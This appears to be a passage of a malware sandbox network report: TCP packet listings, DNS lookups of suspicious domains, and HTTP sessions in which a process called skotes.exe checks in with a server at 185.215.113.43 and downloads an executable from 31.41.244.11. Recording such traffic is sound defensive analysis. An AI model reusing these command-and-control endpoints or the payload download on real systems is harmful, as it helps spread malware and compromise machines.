Dec 20, 2024 04:12:50.647686958 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.647726059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.647748947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.647783041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.648770094 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.648811102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.648838997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.648878098 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.649857998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.649902105 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.649971962 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.650012016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.650942087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.650979042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.651124954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.651168108 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.652065039 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.652105093 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.652170897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.652205944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.653163910 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.653212070 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.653271914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.653306961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.654318094 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.654362917 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.654426098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.654460907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.655369997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.655410051 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.655493975 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.655539036 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.656505108 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.656544924 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.656579971 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.656621933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.657656908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.657700062 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.657706976 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.657746077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.658727884 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.658771992 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.658982038 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.659023046 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.659811020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.659851074 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.659912109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.659951925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.660895109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.660934925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.661099911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.661139965 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.662003994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.662044048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.662183046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.662223101 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.663172960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.663213015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.663239002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.663279057 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.664223909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.664268970 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.664303064 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.664343119 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.665340900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.665378094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.665504932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.665544987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.666438103 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.666479111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.666619062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.666657925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.667692900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.667704105 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.667732000 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.668750048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.668788910 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.668812037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.668847084 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.669833899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.669874907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.669898033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.669933081 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.670833111 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.670876026 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.804869890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.804932117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.804960012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.804986954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.805357933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.805557966 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.806452036 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.806595087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.807555914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.807733059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.808692932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.808816910 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.809813023 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.810077906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.810663939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.810879946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.810920954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.811021090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.811058998 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.812006950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.812057972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.812135935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.812181950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.813122034 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.813169003 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.813218117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.813258886 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.814282894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.814325094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.814377069 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.814419985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.815356016 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.815397978 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.815423965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.815465927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.816457987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.816500902 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.816579103 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.816620111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.817537069 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.817579031 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.817672968 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.817713976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.818627119 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.818674088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.818746090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.818787098 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.819732904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.819777966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.819983006 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.820025921 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.820902109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.820920944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.820944071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.820957899 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.822006941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.822051048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.822074890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.822115898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.823090076 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.823132992 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.823165894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.823205948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.824184895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.824227095 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.824280977 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.824321985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.825321913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.825364113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.825393915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.825436115 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.826402903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.826447010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.826534033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.826571941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.827619076 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.827630043 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.827666044 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.828592062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.828635931 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.828773022 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.828816891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.829726934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.829771042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.829834938 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.829878092 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.830806971 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.830852032 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.830914974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.830955029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.831926107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:50.831969023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:50.832026958 CET	80	49875	31.41.244.11	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 04:12:16.071000099 CET	192.168.2.4	1.1.1.1	0x1d07	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:22.513175964 CET	192.168.2.4	1.1.1.1	0xea6e	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:43.129869938 CET	192.168.2.4	1.1.1.1	0xeb0d	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:43.129934072 CET	192.168.2.4	1.1.1.1	0x8043	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 20, 2024 04:12:47.752546072 CET	192.168.2.4	1.1.1.1	0xa611	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:47.752660990 CET	192.168.2.4	1.1.1.1	0x9856	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 04:12:52.004620075 CET	192.168.2.4	1.1.1.1	0x3a69	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:52.004733086 CET	192.168.2.4	1.1.1.1	0x56bf	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 20, 2024 04:13:03.551834106 CET	192.168.2.4	1.1.1.1	0x72dd	Standard query (0)	bellflamre.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:13:03.886288881 CET	192.168.2.4	1.1.1.1	0x480e	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:13:04.948708057 CET	192.168.2.4	1.1.1.1	0x480e	Standard query (0)	immureprech.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 04:12:16.397806883 CET	1.1.1.1	192.168.2.4	0x1d07	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:16.397806883 CET	1.1.1.1	192.168.2.4	0x1d07	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:22.839775085 CET	1.1.1.1	192.168.2.4	0xea6e	No error (0)	treehoneyi.click		104.21.91.209	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:22.839775085 CET	1.1.1.1	192.168.2.4	0xea6e	No error (0)	treehoneyi.click		172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:43.266985893 CET	1.1.1.1	192.168.2.4	0xeb0d	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:43.266985893 CET	1.1.1.1	192.168.2.4	0xeb0d	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:48.480350018 CET	1.1.1.1	192.168.2.4	0xa611	No error (0)	home.twentytk20pn.top		147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:12:52.143795967 CET	1.1.1.1	192.168.2.4	0x3a69	No error (0)	home.twentytk20pn.top		147.45.113.159	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:13:03.884484053 CET	1.1.1.1	192.168.2.4	0x72dd	Name error (3)	bellflamre.click	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:13:05.360635042 CET	1.1.1.1	192.168.2.4	0x480e	No error (0)	immureprech.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:13:05.360635042 CET	1.1.1.1	192.168.2.4	0x480e	No error (0)	immureprech.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:13:05.360635042 CET	1.1.1.1	192.168.2.4	0x480e	No error (0)	immureprech.biz		45.77.249.79	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:13:05.360686064 CET	1.1.1.1	192.168.2.4	0x480e	No error (0)	immureprech.biz		104.131.68.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:13:05.360686064 CET	1.1.1.1	192.168.2.4	0x480e	No error (0)	immureprech.biz		178.62.201.34	A (IP address)	IN (0x0001)	false
Dec 20, 2024 04:13:05.360686064 CET	1.1.1.1	192.168.2.4	0x480e	No error (0)	immureprech.biz		45.77.249.79	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49753	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:04.613549948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 04:12:05.964711905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49764	185.215.113.43	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:07.587569952 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 20, 2024 04:12:08.963676929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 65 39 0d 0a 20 3c 63 3e 31 30 31 38 31 34 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 38 31 34 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 30 39 63 34 35 34 33 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 31 34 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 63 37 36 39 31 34 61 34 39 62 61 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 31 34 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 [TRUNCATED] Data Ascii: 6e9 <c>1018143001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1018144001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1018145001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdc76914a49ba1cf64d4a485a9592e100b7#1018146001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1018147001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1018148001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc97c994e5faf1cf64d4a485a9592e100b7#1018149001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1018150001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#1018151001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1018152001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1018153001+++fc8f7c1ed3c0 [TRUNCATED]
Dec 20, 2024 04:12:08.964122057 CET	124	IN	Data Raw: 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 38 31 35 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 Data Ascii: 04042ba5ce902415450#1018154001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1018155001+++b59
Dec 20, 2024 04:12:09.198429108 CET	600	IN	Data Raw: 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 31 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 Data Ascii: 37c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1018156001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1018157001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4de

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49766	31.41.244.11	80	404	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 04:12:09.322680950 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 04:12:10.672656059 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 03:12:10 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 20, 2024 04:12:10.672689915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
